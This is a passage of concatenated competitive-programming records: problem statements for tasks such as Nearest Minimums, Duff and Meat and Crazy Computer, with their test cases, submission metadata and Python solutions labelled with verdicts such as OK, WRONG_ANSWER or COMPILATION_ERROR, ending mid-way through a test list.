"6\n1000000000 1000000000 1000000000 1000000000 1000000000 1000000000", "output": "1" }, { "input": "5\n1000000000 100000000 1000000000 1000000000 100000000", "output": "3" }, { "input": "4\n10 9 10 9", "output": "2" }, { "input": "5\n1 3 2 3 1", "output": "4" }, { "input": "5\n2 2 1 4 1", "output": "2" }, { "input": "6\n1 2 2 2 2 1", "output": "5" }, { "input": "7\n3 7 6 7 6 7 3", "output": "6" }, { "input": "8\n1 2 2 2 2 1 2 2", "output": "5" }, { "input": "10\n2 2 2 3 3 1 3 3 3 1", "output": "4" }, { "input": "2\n88888888 88888888", "output": "1" }, { "input": "3\n100000000 100000000 100000000", "output": "1" }, { "input": "10\n1 3 2 4 5 5 4 3 2 1", "output": "9" }, { "input": "5\n2 2 1 2 1", "output": "2" }, { "input": "6\n900000005 900000000 900000001 900000000 900000001 900000001", "output": "2" }, { "input": "5\n41 41 1 41 1", "output": "2" }, { "input": "6\n5 5 1 3 3 1", "output": "3" }, { "input": "8\n1 2 2 2 1 2 2 2", "output": "4" }, { "input": "7\n6 6 6 6 1 8 1", "output": "2" }, { "input": "3\n999999999 1000000000 999999999", "output": "2" }, { "input": "5\n5 5 4 10 4", "output": "2" }, { "input": "11\n2 2 3 4 1 5 3 4 2 5 1", "output": "6" }, { "input": "5\n3 5 4 5 3", "output": "4" }, { "input": "6\n6 6 6 6 1 1", "output": "1" }, { "input": "7\n11 1 3 2 3 1 11", "output": "4" }, { "input": "5\n3 3 1 2 1", "output": "2" }, { "input": "5\n4 4 2 5 2", "output": "2" }, { "input": "4\n10000099 10000567 10000099 10000234", "output": "2" }, { "input": "4\n100000009 100000011 100000012 100000009", "output": "3" }, { "input": "2\n1000000 1000000", "output": "1" }, { "input": "2\n10000010 10000010", "output": "1" }, { "input": "10\n1000000000 1000000000 1000000000 1000000000 1000000000 1000000000 1000000000 1000000000 1000000000 1000000000", "output": "1" }, { "input": "8\n2 6 2 8 1 9 8 1", "output": "3" }, { "input": "5\n7 7 1 8 1", "output": "2" }, { "input": "7\n1 3 2 3 2 3 1", "output": "6" }, { "input": "7\n2 3 2 1 3 4 1", "output": "3" }, { "input": "5\n1000000000 999999999 1000000000 1000000000 999999999", "output": "3" }, { "input": "4\n1000000000 1000000000 1000000000 1000000000", "output": "1" }, { "input": "5\n5 5 3 5 3", "output": "2" }, { "input": "6\n2 3 3 3 3 2", "output": "5" }, { "input": "4\n1 1 2 2", "output": "1" }, { "input": "5\n1 1 2 2 2", "output": "1" }, { "input": "6\n2 1 1 2 2 2", "output": "1" }, { "input": "5\n1000000000 1000000000 100000000 1000000000 100000000", "output": "2" }, { "input": "7\n2 2 1 1 2 2 2", "output": "1" }, { "input": "8\n2 2 2 1 1 2 2 2", "output": "1" }, { "input": "10\n2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "11\n2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "12\n2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "13\n2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "14\n2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "15\n2 2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "16\n2 2 2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "17\n2 2 2 2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "18\n2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "19\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "20\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "4\n1000000000 100000000 100000000 1000000000", "output": "1" }, { "input": "21\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 2 2 2", "output": "1" }, { "input": "4\n1 2 3 1", "output": "3" }, { "input": "8\n5 5 5 5 3 5 5 3", "output": "3" }, { "input": "7\n2 3 2 1 4 4 1", "output": "3" }, { "input": "6\n3 3 1 2 4 1", "output": "3" }, { "input": "3\n2 1 1", "output": "1" }, { "input": "5\n3 3 2 8 2", "output": "2" }, { "input": "5\n1 2 1 2 2", "output": "2" }, { "input": "4\n1 2 1 2", "output": "2" }, { "input": "5\n3 1 1 3 2", "output": "1" }, { "input": "4\n1 1 2 1", "output": "1" }, { "input": "4\n2 2 1 1", "output": "1" }, { "input": "5\n1 2 2 1 2", "output": "3" }, { "input": "7\n2 1 2 1 1 2 1", "output": "1" }, { "input": "9\n200000 500000 500000 500000 200000 500000 500000 500000 500000", "output": "4" }, { "input": "3\n1 1 2", "output": "1" }, { "input": "85\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 1", "output": "84" }, { "input": "5\n1000000000 1000000000 999999999 1000000000 999999999", "output": "2" }, { "input": "5\n2 1 2 2 1", "output": "3" }, { "input": "3\n1 1 1", "output": "1" }, { "input": "4\n1 2 1 1", "output": "1" }, { "input": "6\n1 3 4 2 4 1", "output": "5" }, { "input": "9\n2 2 5 1 6 8 7 9 1", "output": "5" }, { "input": "10\n1000000000 1000000000 1000000000 999999999 1000000000 1000000000 1000000000 1000000000 1000000000 999999999", "output": "6" }, { "input": "7\n3 3 1 2 4 1 2", "output": "3" }, { "input": "7\n3 3 1 2 3 4 1", "output": "4" }, { "input": "8\n10 5 10 1 10 10 10 1", "output": "4" } ]
1,593,245,783
2,147,483,647
PyPy 3
OK
TESTS
140
202
31,232,000
""" 616C """ """ 1152B """ import math # import sys def main(): # n ,m= map(int,input().split()) # arr = list(map(int,input().split())) # b = list(map(int,input().split())) # n = int(input()) # string = str(input()) n = int(input()) a = list(map(int,input().split())) mn = min(a) arr = [] for i in range(n): if(a[i]==mn): arr.append(i+1) ans = 1e10 for i in range(1,len(arr)): ans = min(arr[i]-arr[i-1],ans) print(ans) return main() # def test(): # t = int(input()) # while t: # main() # t-=1 # test()
Title: Nearest Minimums Time Limit: None seconds Memory Limit: None megabytes Problem Description: You are given an array of *n* integer numbers *a*0,<=*a*1,<=...,<=*a**n*<=-<=1. Find the distance between two closest (nearest) minimums in it. It is guaranteed that in the array a minimum occurs at least two times. Input Specification: The first line contains positive integer *n* (2<=≤<=*n*<=≤<=105) — size of the given array. The second line contains *n* integers *a*0,<=*a*1,<=...,<=*a**n*<=-<=1 (1<=≤<=*a**i*<=≤<=109) — elements of the array. It is guaranteed that in the array a minimum occurs at least two times. Output Specification: Print the only number — distance between two nearest minimums in the array. Demo Input: ['2\n3 3\n', '3\n5 6 5\n', '9\n2 1 3 5 4 1 2 3 1\n'] Demo Output: ['1\n', '2\n', '3\n'] Note: none
```python """ 616C """ """ 1152B """ import math # import sys def main(): # n ,m= map(int,input().split()) # arr = list(map(int,input().split())) # b = list(map(int,input().split())) # n = int(input()) # string = str(input()) n = int(input()) a = list(map(int,input().split())) mn = min(a) arr = [] for i in range(n): if(a[i]==mn): arr.append(i+1) ans = 1e10 for i in range(1,len(arr)): ans = min(arr[i]-arr[i-1],ans) print(ans) return main() # def test(): # t = int(input()) # while t: # main() # t-=1 # test() ```
3
588
A
Duff and Meat
PROGRAMMING
900
[ "greedy" ]
null
null
Duff is addicted to meat! Malek wants to keep her happy for *n* days. In order to be happy in *i*-th day, she needs to eat exactly *a**i* kilograms of meat. There is a big shop uptown and Malek wants to buy meat for her from there. In *i*-th day, they sell meat for *p**i* dollars per kilogram. Malek knows all numbers *a*1,<=...,<=*a**n* and *p*1,<=...,<=*p**n*. In each day, he can buy arbitrary amount of meat, also he can keep some meat he has for the future. Malek is a little tired from cooking meat, so he asked for your help. Help him to minimize the total money he spends to keep Duff happy for *n* days.
The first line of input contains integer *n* (1<=≤<=*n*<=≤<=105), the number of days. In the next *n* lines, *i*-th line contains two integers *a**i* and *p**i* (1<=≤<=*a**i*,<=*p**i*<=≤<=100), the amount of meat Duff needs and the cost of meat in that day.
Print the minimum money needed to keep Duff happy for *n* days, in one line.
[ "3\n1 3\n2 2\n3 1\n", "3\n1 3\n2 1\n3 2\n" ]
[ "10\n", "8\n" ]
In the first sample case: An optimal way would be to buy 1 kg on the first day, 2 kg on the second day and 3 kg on the third day. In the second sample case: An optimal way would be to buy 1 kg on the first day and 5 kg (needed meat for the second and third day) on the second day.
750
[ { "input": "3\n1 3\n2 2\n3 1", "output": "10" }, { "input": "3\n1 3\n2 1\n3 2", "output": "8" }, { "input": "1\n39 52", "output": "2028" }, { "input": "2\n25 56\n94 17", "output": "2998" }, { "input": "5\n39 21\n95 89\n73 90\n9 55\n85 32", "output": "6321" }, { "input": "12\n70 11\n74 27\n32 11\n26 83\n57 18\n97 28\n75 43\n75 21\n84 29\n16 2\n89 63\n21 88", "output": "6742" }, { "input": "2\n100 68\n38 80", "output": "9384" } ]
1,487,789,875
2,147,483,647
Python 3
COMPILATION_ERROR
TESTS
0
0
0
n = input() ans = 0 mn = 200 for i in range(n): a, p = map(int, raw_input().split(' ')) mn = min(mn, p) ans += a * mn print ans
Title: Duff and Meat Time Limit: None seconds Memory Limit: None megabytes Problem Description: Duff is addicted to meat! Malek wants to keep her happy for *n* days. In order to be happy in *i*-th day, she needs to eat exactly *a**i* kilograms of meat. There is a big shop uptown and Malek wants to buy meat for her from there. In *i*-th day, they sell meat for *p**i* dollars per kilogram. Malek knows all numbers *a*1,<=...,<=*a**n* and *p*1,<=...,<=*p**n*. In each day, he can buy arbitrary amount of meat, also he can keep some meat he has for the future. Malek is a little tired from cooking meat, so he asked for your help. Help him to minimize the total money he spends to keep Duff happy for *n* days. Input Specification: The first line of input contains integer *n* (1<=≤<=*n*<=≤<=105), the number of days. In the next *n* lines, *i*-th line contains two integers *a**i* and *p**i* (1<=≤<=*a**i*,<=*p**i*<=≤<=100), the amount of meat Duff needs and the cost of meat in that day. Output Specification: Print the minimum money needed to keep Duff happy for *n* days, in one line. Demo Input: ['3\n1 3\n2 2\n3 1\n', '3\n1 3\n2 1\n3 2\n'] Demo Output: ['10\n', '8\n'] Note: In the first sample case: An optimal way would be to buy 1 kg on the first day, 2 kg on the second day and 3 kg on the third day. In the second sample case: An optimal way would be to buy 1 kg on the first day and 5 kg (needed meat for the second and third day) on the second day.
```python n = input() ans = 0 mn = 200 for i in range(n): a, p = map(int, raw_input().split(' ')) mn = min(mn, p) ans += a * mn print ans ```
-1
34
A
Reconnaissance 2
PROGRAMMING
800
[ "implementation" ]
A. Reconnaissance 2
2
256
*n* soldiers stand in a circle. For each soldier his height *a**i* is known. A reconnaissance unit can be made of such two neighbouring soldiers, whose heights difference is minimal, i.e. |*a**i*<=-<=*a**j*| is minimal. So each of them will be less noticeable with the other. Output any pair of soldiers that can form a reconnaissance unit.
The first line contains integer *n* (2<=≤<=*n*<=≤<=100) — amount of soldiers. Then follow the heights of the soldiers in their order in the circle — *n* space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=1000). The soldier heights are given in clockwise or counterclockwise direction.
Output two integers — indexes of neighbouring soldiers, who should form a reconnaissance unit. If there are many optimum solutions, output any of them. Remember, that the soldiers stand in a circle.
[ "5\n10 12 13 15 10\n", "4\n10 20 30 40\n" ]
[ "5 1\n", "1 2\n" ]
none
500
[ { "input": "5\n10 12 13 15 10", "output": "5 1" }, { "input": "4\n10 20 30 40", "output": "1 2" }, { "input": "6\n744 359 230 586 944 442", "output": "2 3" }, { "input": "5\n826 747 849 687 437", "output": "1 2" }, { "input": "5\n999 999 993 969 999", "output": "1 2" }, { "input": "5\n4 24 6 1 15", "output": "3 4" }, { "input": "2\n511 32", "output": "1 2" }, { "input": "3\n907 452 355", "output": "2 3" }, { "input": "4\n303 872 764 401", "output": "4 1" }, { "input": "10\n684 698 429 694 956 812 594 170 937 764", "output": "1 2" }, { "input": "20\n646 840 437 946 640 564 936 917 487 752 844 734 468 969 674 646 728 642 514 695", "output": "7 8" }, { "input": "30\n996 999 998 984 989 1000 996 993 1000 983 992 999 999 1000 979 992 987 1000 996 1000 1000 989 981 996 995 999 999 989 999 1000", "output": "12 13" }, { "input": "50\n93 27 28 4 5 78 59 24 19 134 31 128 118 36 90 32 32 1 44 32 33 13 31 10 12 25 38 50 25 12 4 22 28 53 48 83 4 25 57 31 71 24 8 7 28 86 23 80 101 58", "output": "16 17" }, { "input": "88\n1000 1000 1000 1000 1000 998 998 1000 1000 1000 1000 999 999 1000 1000 1000 999 1000 997 999 997 1000 999 998 1000 999 1000 1000 1000 999 1000 999 999 1000 1000 999 1000 999 1000 1000 998 1000 1000 1000 998 998 1000 1000 999 1000 1000 1000 1000 1000 1000 1000 998 1000 1000 1000 999 1000 1000 999 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 998 1000 1000 1000 998 1000 1000 998 1000 999 1000 1000 1000 1000", "output": "1 2" }, { "input": "99\n4 4 21 6 5 3 13 2 6 1 3 4 1 3 1 9 11 1 6 17 4 5 20 4 1 9 5 11 3 4 14 1 3 3 1 4 3 5 27 1 1 2 10 7 11 4 19 7 11 6 11 13 3 1 10 7 2 1 16 1 9 4 29 13 2 12 14 2 21 1 9 8 26 12 12 5 2 14 7 8 8 8 9 4 12 2 6 6 7 16 8 14 2 10 20 15 3 7 4", "output": "1 2" }, { "input": "100\n713 572 318 890 577 657 646 146 373 783 392 229 455 871 20 593 573 336 26 381 280 916 907 732 820 713 111 840 570 446 184 711 481 399 788 647 492 15 40 530 549 506 719 782 126 20 778 996 712 761 9 74 812 418 488 175 103 585 900 3 604 521 109 513 145 708 990 361 682 827 791 22 596 780 596 385 450 643 158 496 876 975 319 783 654 895 891 361 397 81 682 899 347 623 809 557 435 279 513 438", "output": "86 87" }, { "input": "100\n31 75 86 68 111 27 22 22 26 30 54 163 107 75 160 122 14 23 17 26 27 20 43 58 59 71 21 148 9 32 43 91 133 286 132 70 90 156 84 14 77 93 23 18 13 72 18 131 33 28 72 175 30 86 249 20 14 208 28 57 63 199 6 10 24 30 62 267 43 479 60 28 138 1 45 3 19 47 7 166 116 117 50 140 28 14 95 85 93 43 61 15 2 70 10 51 7 95 9 25", "output": "7 8" }, { "input": "100\n896 898 967 979 973 709 961 968 806 967 896 967 826 975 936 903 986 856 851 931 852 971 786 837 949 978 686 936 952 909 965 749 908 916 943 973 983 975 939 886 964 928 960 976 907 788 994 773 949 871 947 980 945 985 726 981 887 943 907 990 931 874 840 867 948 951 961 904 888 901 976 967 994 921 828 970 972 722 755 970 860 855 914 869 714 899 969 978 898 862 642 939 904 936 819 934 884 983 955 964", "output": "1 2" }, { "input": "100\n994 927 872 970 815 986 952 996 965 1000 877 986 978 999 950 990 936 997 993 960 921 860 895 869 943 998 983 968 973 953 999 990 995 871 853 979 973 963 953 938 997 989 993 964 960 973 946 975 1000 962 920 746 989 957 904 965 920 979 966 961 1000 993 975 952 846 971 991 979 985 969 984 973 956 1000 952 778 983 974 956 927 995 997 980 997 1000 970 960 970 988 983 947 904 935 972 1000 863 992 996 932 967", "output": "81 82" }, { "input": "100\n48 108 63 21 27 8 49 21 75 8 24 42 149 18 8 28 21 18 25 35 59 70 59 33 40 1 67 34 120 82 4 115 72 87 3 15 15 63 37 12 40 27 83 14 38 20 14 58 93 10 31 3 39 6 197 77 54 16 31 146 9 49 14 8 77 82 5 11 80 116 8 61 50 24 7 103 29 11 3 3 1 12 46 24 21 131 39 29 36 2 107 40 16 99 31 41 29 48 17 17", "output": "36 37" } ]
1,670,498,092
2,147,483,647
PyPy 3-64
RUNTIME_ERROR
TESTS
2
92
2,867,200
n=int(input()) m=list(map(int,input().split())) l=abs(m[0]-m[n-1]) dict={} a=0 for i in range(n-1): if(abs(m[i]-m[i+1])<l): dict[i]=i+2 l=abs(m[i]-m[i+1]) a+=1 if(a==0): print(1,n,end=' ') else: print(dict[len(dict)-1]-1,dict[len(dict)-1])
Title: Reconnaissance 2 Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: *n* soldiers stand in a circle. For each soldier his height *a**i* is known. A reconnaissance unit can be made of such two neighbouring soldiers, whose heights difference is minimal, i.e. |*a**i*<=-<=*a**j*| is minimal. So each of them will be less noticeable with the other. Output any pair of soldiers that can form a reconnaissance unit. Input Specification: The first line contains integer *n* (2<=≤<=*n*<=≤<=100) — amount of soldiers. Then follow the heights of the soldiers in their order in the circle — *n* space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=1000). The soldier heights are given in clockwise or counterclockwise direction. Output Specification: Output two integers — indexes of neighbouring soldiers, who should form a reconnaissance unit. If there are many optimum solutions, output any of them. Remember, that the soldiers stand in a circle. Demo Input: ['5\n10 12 13 15 10\n', '4\n10 20 30 40\n'] Demo Output: ['5 1\n', '1 2\n'] Note: none
```python n=int(input()) m=list(map(int,input().split())) l=abs(m[0]-m[n-1]) dict={} a=0 for i in range(n-1): if(abs(m[i]-m[i+1])<l): dict[i]=i+2 l=abs(m[i]-m[i+1]) a+=1 if(a==0): print(1,n,end=' ') else: print(dict[len(dict)-1]-1,dict[len(dict)-1]) ```
-1
716
A
Crazy Computer
PROGRAMMING
800
[ "implementation" ]
null
null
ZS the Coder is coding on a crazy computer. If you don't type in a word for a *c* consecutive seconds, everything you typed disappear! More formally, if you typed a word at second *a* and then the next word at second *b*, then if *b*<=-<=*a*<=≤<=*c*, just the new word is appended to other words on the screen. If *b*<=-<=*a*<=&gt;<=*c*, then everything on the screen disappears and after that the word you have typed appears on the screen. For example, if *c*<==<=5 and you typed words at seconds 1,<=3,<=8,<=14,<=19,<=20 then at the second 8 there will be 3 words on the screen. After that, everything disappears at the second 13 because nothing was typed. At the seconds 14 and 19 another two words are typed, and finally, at the second 20, one more word is typed, and a total of 3 words remain on the screen. You're given the times when ZS the Coder typed the words. Determine how many words remain on the screen after he finished typing everything.
The first line contains two integers *n* and *c* (1<=≤<=*n*<=≤<=100<=000,<=1<=≤<=*c*<=≤<=109) — the number of words ZS the Coder typed and the crazy computer delay respectively. The next line contains *n* integers *t*1,<=*t*2,<=...,<=*t**n* (1<=≤<=*t*1<=&lt;<=*t*2<=&lt;<=...<=&lt;<=*t**n*<=≤<=109), where *t**i* denotes the second when ZS the Coder typed the *i*-th word.
Print a single positive integer, the number of words that remain on the screen after all *n* words was typed, in other words, at the second *t**n*.
[ "6 5\n1 3 8 14 19 20\n", "6 1\n1 3 5 7 9 10\n" ]
[ "3", "2" ]
The first sample is already explained in the problem statement. For the second sample, after typing the first word at the second 1, it disappears because the next word is typed at the second 3 and 3 - 1 &gt; 1. Similarly, only 1 word will remain at the second 9. Then, a word is typed at the second 10, so there will be two words on the screen, as the old word won't disappear because 10 - 9 ≤ 1.
500
[ { "input": "6 5\n1 3 8 14 19 20", "output": "3" }, { "input": "6 1\n1 3 5 7 9 10", "output": "2" }, { "input": "1 1\n1000000000", "output": "1" }, { "input": "5 5\n1 7 12 13 14", "output": "4" }, { "input": "2 1000000000\n1 1000000000", "output": "2" }, { "input": "3 5\n1 10 20", "output": "1" }, { "input": "3 10\n1 2 3", "output": "3" }, { "input": "2 1\n1 100", "output": "1" }, { "input": "3 1\n1 2 10", "output": "1" }, { "input": "2 1\n1 2", "output": "2" } ]
1,689,736,263
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
2
31
0
n, c = map(int, input().split()) sec = list(map(int, input().split())) counter = 0 for i in range(1, n): if sec[i] - sec[i-1] <= c: if sec[i-1] - sec[i-2] <= c: counter += 1 else: counter += 2 else: counter = 0 print(counter)
Title: Crazy Computer Time Limit: None seconds Memory Limit: None megabytes Problem Description: ZS the Coder is coding on a crazy computer. If you don't type in a word for a *c* consecutive seconds, everything you typed disappear! More formally, if you typed a word at second *a* and then the next word at second *b*, then if *b*<=-<=*a*<=≤<=*c*, just the new word is appended to other words on the screen. If *b*<=-<=*a*<=&gt;<=*c*, then everything on the screen disappears and after that the word you have typed appears on the screen. For example, if *c*<==<=5 and you typed words at seconds 1,<=3,<=8,<=14,<=19,<=20 then at the second 8 there will be 3 words on the screen. After that, everything disappears at the second 13 because nothing was typed. At the seconds 14 and 19 another two words are typed, and finally, at the second 20, one more word is typed, and a total of 3 words remain on the screen. You're given the times when ZS the Coder typed the words. Determine how many words remain on the screen after he finished typing everything. Input Specification: The first line contains two integers *n* and *c* (1<=≤<=*n*<=≤<=100<=000,<=1<=≤<=*c*<=≤<=109) — the number of words ZS the Coder typed and the crazy computer delay respectively. The next line contains *n* integers *t*1,<=*t*2,<=...,<=*t**n* (1<=≤<=*t*1<=&lt;<=*t*2<=&lt;<=...<=&lt;<=*t**n*<=≤<=109), where *t**i* denotes the second when ZS the Coder typed the *i*-th word. Output Specification: Print a single positive integer, the number of words that remain on the screen after all *n* words was typed, in other words, at the second *t**n*. Demo Input: ['6 5\n1 3 8 14 19 20\n', '6 1\n1 3 5 7 9 10\n'] Demo Output: ['3', '2'] Note: The first sample is already explained in the problem statement. For the second sample, after typing the first word at the second 1, it disappears because the next word is typed at the second 3 and 3 - 1 &gt; 1. Similarly, only 1 word will remain at the second 9. Then, a word is typed at the second 10, so there will be two words on the screen, as the old word won't disappear because 10 - 9 ≤ 1.
```python n, c = map(int, input().split()) sec = list(map(int, input().split())) counter = 0 for i in range(1, n): if sec[i] - sec[i-1] <= c: if sec[i-1] - sec[i-2] <= c: counter += 1 else: counter += 2 else: counter = 0 print(counter) ```
0
706
B
Interesting drink
PROGRAMMING
1,100
[ "binary search", "dp", "implementation" ]
null
null
Vasiliy likes to rest after a hard work, so you may often meet him in some bar nearby. As all programmers do, he loves the famous drink "Beecola", which can be bought in *n* different shops in the city. It's known that the price of one bottle in the shop *i* is equal to *x**i* coins. Vasiliy plans to buy his favorite drink for *q* consecutive days. He knows, that on the *i*-th day he will be able to spent *m**i* coins. Now, for each of the days he want to know in how many different shops he can buy a bottle of "Beecola".
The first line of the input contains a single integer *n* (1<=≤<=*n*<=≤<=100<=000) — the number of shops in the city that sell Vasiliy's favourite drink. The second line contains *n* integers *x**i* (1<=≤<=*x**i*<=≤<=100<=000) — prices of the bottles of the drink in the *i*-th shop. The third line contains a single integer *q* (1<=≤<=*q*<=≤<=100<=000) — the number of days Vasiliy plans to buy the drink. Then follow *q* lines each containing one integer *m**i* (1<=≤<=*m**i*<=≤<=109) — the number of coins Vasiliy can spent on the *i*-th day.
Print *q* integers. The *i*-th of them should be equal to the number of shops where Vasiliy will be able to buy a bottle of the drink on the *i*-th day.
[ "5\n3 10 8 6 11\n4\n1\n10\n3\n11\n" ]
[ "0\n4\n1\n5\n" ]
On the first day, Vasiliy won't be able to buy a drink in any of the shops. On the second day, Vasiliy can buy a drink in the shops 1, 2, 3 and 4. On the third day, Vasiliy can buy a drink only in the shop number 1. Finally, on the last day Vasiliy can buy a drink in any shop.
1,000
[ { "input": "5\n3 10 8 6 11\n4\n1\n10\n3\n11", "output": "0\n4\n1\n5" }, { "input": "5\n868 987 714 168 123\n10\n424\n192\n795\n873\n117\n914\n735\n158\n631\n471", "output": "2\n2\n3\n4\n0\n4\n3\n1\n2\n2" }, { "input": "3\n435 482 309\n7\n245\n241\n909\n745\n980\n29\n521", "output": "0\n0\n3\n3\n3\n0\n3" }, { "input": "1\n653\n9\n903\n980\n80\n770\n965\n874\n381\n657\n969", "output": "1\n1\n0\n1\n1\n1\n0\n1\n1" }, { "input": "12\n35345 58181 32223 84621 35905 73863 99537 30666 67771 39229 36847 29038\n23\n55052824\n82504840\n35160556\n78141700\n73401989\n86305919\n39430705\n31939373\n23501765\n4406029\n61436920\n14295390\n34275309\n28028753\n85724689\n70158847\n2396455\n66994588\n84024224\n30175981\n65622319\n76517111\n76605341", "output": "12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12\n12" }, { "input": "4\n698 193 1584 76192\n4\n553640\n310518\n274280\n429192", "output": "4\n4\n4\n4" }, { "input": "1\n1\n1\n1000000000", "output": "1" }, { "input": "1\n1\n1\n100005", "output": "1" }, { "input": "3\n1 2 3\n1\n100005", "output": "3" }, { "input": "2\n1 2\n3\n100004\n100005\n100006", "output": "2\n2\n2" }, { "input": "3\n1 1 1\n1\n1", "output": "3" }, { "input": "1\n1\n1\n1", "output": "1" }, { "input": "3\n1 2 3\n1\n100000", "output": "3" }, { "input": "5\n1 1 1 1 10\n2\n1\n10", "output": "4\n5" }, { "input": "5\n3 10 8 6 11\n1\n10000000", "output": "5" } ]
1,691,183,372
2,147,483,647
PyPy 3-64
OK
TESTS
103
1,075
14,745,600
from bisect import bisect_right # Shops count input() # Prices x = sorted(map(int, input().split())) # Days count q = int(input()) for i in range(q): m = int(input()) result = bisect_right(x, m) print(result)
Title: Interesting drink Time Limit: None seconds Memory Limit: None megabytes Problem Description: Vasiliy likes to rest after a hard work, so you may often meet him in some bar nearby. As all programmers do, he loves the famous drink "Beecola", which can be bought in *n* different shops in the city. It's known that the price of one bottle in the shop *i* is equal to *x**i* coins. Vasiliy plans to buy his favorite drink for *q* consecutive days. He knows, that on the *i*-th day he will be able to spent *m**i* coins. Now, for each of the days he want to know in how many different shops he can buy a bottle of "Beecola". Input Specification: The first line of the input contains a single integer *n* (1<=≤<=*n*<=≤<=100<=000) — the number of shops in the city that sell Vasiliy's favourite drink. The second line contains *n* integers *x**i* (1<=≤<=*x**i*<=≤<=100<=000) — prices of the bottles of the drink in the *i*-th shop. The third line contains a single integer *q* (1<=≤<=*q*<=≤<=100<=000) — the number of days Vasiliy plans to buy the drink. Then follow *q* lines each containing one integer *m**i* (1<=≤<=*m**i*<=≤<=109) — the number of coins Vasiliy can spent on the *i*-th day. Output Specification: Print *q* integers. The *i*-th of them should be equal to the number of shops where Vasiliy will be able to buy a bottle of the drink on the *i*-th day. Demo Input: ['5\n3 10 8 6 11\n4\n1\n10\n3\n11\n'] Demo Output: ['0\n4\n1\n5\n'] Note: On the first day, Vasiliy won't be able to buy a drink in any of the shops. On the second day, Vasiliy can buy a drink in the shops 1, 2, 3 and 4. On the third day, Vasiliy can buy a drink only in the shop number 1. Finally, on the last day Vasiliy can buy a drink in any shop.
```python from bisect import bisect_right # Shops count input() # Prices x = sorted(map(int, input().split())) # Days count q = int(input()) for i in range(q): m = int(input()) result = bisect_right(x, m) print(result) ```
3
94
A
Restoring Password
PROGRAMMING
900
[ "implementation", "strings" ]
A. Restoring Password
2
256
Igor K. always used to trust his favorite Kashpirovsky Antivirus. That is why he didn't hesitate to download the link one of his groupmates sent him via QIP Infinium. The link was said to contain "some real funny stuff about swine influenza". The antivirus had no objections and Igor K. run the flash application he had downloaded. Immediately his QIP Infinium said: "invalid login/password". Igor K. entered the ISQ from his additional account and looked at the info of his main one. His name and surname changed to "H1N1" and "Infected" correspondingly, and the "Additional Information" field contained a strange-looking binary code 80 characters in length, consisting of zeroes and ones. "I've been hacked" — thought Igor K. and run the Internet Exploiter browser to quickly type his favourite search engine's address. Soon he learned that it really was a virus that changed ISQ users' passwords. Fortunately, he soon found out that the binary code was actually the encrypted password where each group of 10 characters stood for one decimal digit. Accordingly, the original password consisted of 8 decimal digits. Help Igor K. restore his ISQ account by the encrypted password and encryption specification.
The input data contains 11 lines. The first line represents the binary code 80 characters in length. That is the code written in Igor K.'s ISQ account's info. Next 10 lines contain pairwise distinct binary codes 10 characters in length, corresponding to numbers 0, 1, ..., 9.
Print one line containing 8 characters — The password to Igor K.'s ISQ account. It is guaranteed that the solution exists.
[ "01001100100101100000010110001001011001000101100110010110100001011010100101101100\n0100110000\n0100110010\n0101100000\n0101100010\n0101100100\n0101100110\n0101101000\n0101101010\n0101101100\n0101101110\n", "10101101111001000010100100011010101101110010110111011000100011011110010110001000\n1001000010\n1101111001\n1001000110\n1010110111\n0010110111\n1101001101\n1011000001\n1110010101\n1011011000\n0110001000\n" ]
[ "12345678\n", "30234919\n" ]
none
500
[ { "input": "01001100100101100000010110001001011001000101100110010110100001011010100101101100\n0100110000\n0100110010\n0101100000\n0101100010\n0101100100\n0101100110\n0101101000\n0101101010\n0101101100\n0101101110", "output": "12345678" }, { "input": "10101101111001000010100100011010101101110010110111011000100011011110010110001000\n1001000010\n1101111001\n1001000110\n1010110111\n0010110111\n1101001101\n1011000001\n1110010101\n1011011000\n0110001000", "output": "30234919" }, { "input": "00010101101110110101100110101100010101100010101111000101011010011010110010000011\n0101010110\n0001001101\n1001101011\n0000100011\n0010101111\n1110110101\n0001010110\n0110111000\n0000111110\n0010000011", "output": "65264629" }, { "input": "10100100010010010011011001101000100100110110011010011001101011000100110110011010\n1111110011\n1001000111\n1001000100\n1100010011\n0110011010\n0010000001\n1110101110\n0010000110\n0010010011\n1010010001", "output": "98484434" }, { "input": "00101100011111010001001000000110110000000110010011001111111010110010001011000000\n0010000001\n0110010011\n0010000010\n1011001000\n0011111110\n0110001000\n1111010001\n1011000000\n0000100110\n0010110001", "output": "96071437" }, { "input": "10001110111110000001000010001010001110110000100010100010111101101101010000100010\n0000010110\n1101010111\n1000101111\n0001011110\n0011110101\n0101100100\n0110110101\n0000100010\n1000111011\n1110000001", "output": "89787267" }, { "input": "10010100011001010001010101001101010100110100111011001010111100011001000010100000\n0011100000\n1001100100\n0001100100\n0010100000\n0101010011\n0010101110\n0010101111\n0100111011\n1001010001\n1111111110", "output": "88447623" }, { "input": 